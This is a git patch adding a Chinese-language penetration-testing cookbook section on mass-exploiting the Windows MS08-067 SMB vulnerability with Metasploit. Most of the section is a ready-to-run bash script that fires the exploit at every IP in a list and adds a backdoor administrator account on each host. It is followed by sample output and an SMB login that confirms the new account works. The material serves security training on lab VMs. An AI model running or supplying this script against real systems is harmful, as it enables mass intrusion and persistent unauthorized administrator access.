From 9bab55ef291c61853de89f1385ed4b527b57a7cc Mon Sep 17 00:00:00 2001 From: wizardforcel <562826179@qq.com> Date: Wed, 23 Nov 2016 16:24:56 +0800 Subject: [PATCH] 8.8 --- ch8.md | 64 ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 64 insertions(+) diff --git a/ch8.md b/ch8.md index c62dd78..b6de8d9 100644 --- a/ch8.md +++ b/ch8.md @@ -545,3 +545,67 @@ ICMP 流量似乎是一种用于验证目标系统的可利用性的非直观方 ## 8.8 创建管理账户的多线程 MSF 利用 +该秘籍展示了如何使用 bash ，在多个系统上利用单个漏洞，并在每个系统上添加一个新的管理员帐户。 该技术可以用于以后通过使用集成终端服务或 SMB 认证来访问沦陷的系统。 + +### 准备 + +要使用此秘籍中演示的脚本，你需要访问多个系统，每个系统都具有可使用 Metasploit 利用的相同漏洞。 提供的示例复制了运行 Windows XP 漏洞版本的 VM，来生成 MS08-067 漏洞的三个实例。 有关设置 Windows 系统的更多信息，请参阅本书第一章中的“安装 Windows Server”秘籍。 此外，本节还需要使用文本编辑器（如 VIM 或 Nano）将脚本写入文件系统。 有关编写脚本的更多信息，请参阅本书第一章的“使用文本编辑器（VIM 和 Nano）”秘籍。 + +### 操作步骤 + +下面的示例演示了如何使用 bash 脚本同时利用单个漏洞的多个实例。 特别是，此脚本可用于通过引用 IP 地址的输入列表来利用 MS08-067 NetAPI 漏洞的多个实例： + +```sh +#!/bin/bash + +if [ ! $1 ]; then echo "Usage: #./script "; +exit; fi + +iplist=$1 +user=$2 +pass=$3 + +for ip in $(cat $iplist) +do + gnome-terminal -x msfcli exploit/windows/smb/ms08_067_netapi PAYLOAD=windows/exec CMD="cmd.exe /c \"net user $user $pass /add && net localgroup administrators $user /add\"" RHOST=$ip E + echo "Exploiting $ip and adding user $user" +done +``` + +由于载荷不同，此脚本与以前的多线程利用脚本不同。 这里，在成功利用时会依次执行两个命令。 这两个命令中的第一个命令创建一个名为`hutch`的新用户帐户，并定义关联的密码。 第二个命令将新创建的用户帐户添加到本地`Administrators`组： + +``` +root@KaliLinux:~# ./multipwn.sh +Usage: #./script +root@KaliLinux:~# ./multipwn.sh iplist.txt hutch P@33word +Exploiting 172.16.36.132 and adding user hutch +Exploiting 172.16.36.158 and adding user hutch +Exploiting 172.16.36.225 and adding user hutch + +``` + +如果在不提供任何参数的情况下执行脚本，脚本将输出相应的用法。 该使用描述表明，该脚本应该以一个参数来执行，该参数指定了包含目标 IP 地址列表的文本文件的文件名。 一旦以这个参数执行，会开始弹出一系列新的终端。 这些终端中的每一个将运行输入列表中的 IP 地址之一的利用序列。 原始执行终端将在执行时输出进程列表，并显是在每个进程上添加的新用户帐户。 在每个终端中完成利用序列之后，可以通过诸如 RDP 的集成终端服务，或通过远程 SMB 认证来访问系统。 为了演示添加了该帐户，Metasploit SMB_Login 辅助模块用于使用新添加的凭据远程登录到受攻击的系统： + +``` +msf > use auxiliary/scanner/smb/smb_login +msf auxiliary(smb_login) > set SMBUser hutch +SMBUser => hutch +msf auxiliary(smb_login) > set SMBPass P@33word +SMBPass => P@33word +msf auxiliary(smb_login) > set RHOSTS 172.16.36.225 +RHOSTS => 172.16.36.225 +msf auxiliary(smb_login) > run + +[*] 172.16.36.225:445 SMB - Starting SMB login bruteforce +[+] 172.16.36.225:445 - SUCCESSFUL LOGIN (Windows 5.1) hutch : [STATUS_ SUCCESS] +[*] Username is case insensitive +[*] Domain is ignored +[*] Scanned 1 of 1 hosts (100% complete) +[*] Auxiliary module execution completed +``` + +`SMB_Login`辅助模块的结果表明，使用新创建的凭据登录成功。 然后，这个新创建的帐户可以用于进一步的恶意目的，或者可以使用脚本来测试帐户是否存在，来验证漏洞的利用。 + +### 工作原理 + +通过在每个利用的系统上添加用户帐户，攻击者可以继续对该系统执行后续操作。 这种方法有优点和缺点。 在受沦陷系统上添加新帐户比攻破现有帐户更快，并且可以立即访问现有的远程服务（如 RDP）。 但是，添加新帐户并不非常隐秘，有时可以触发基于主机的入侵检测系统的警报。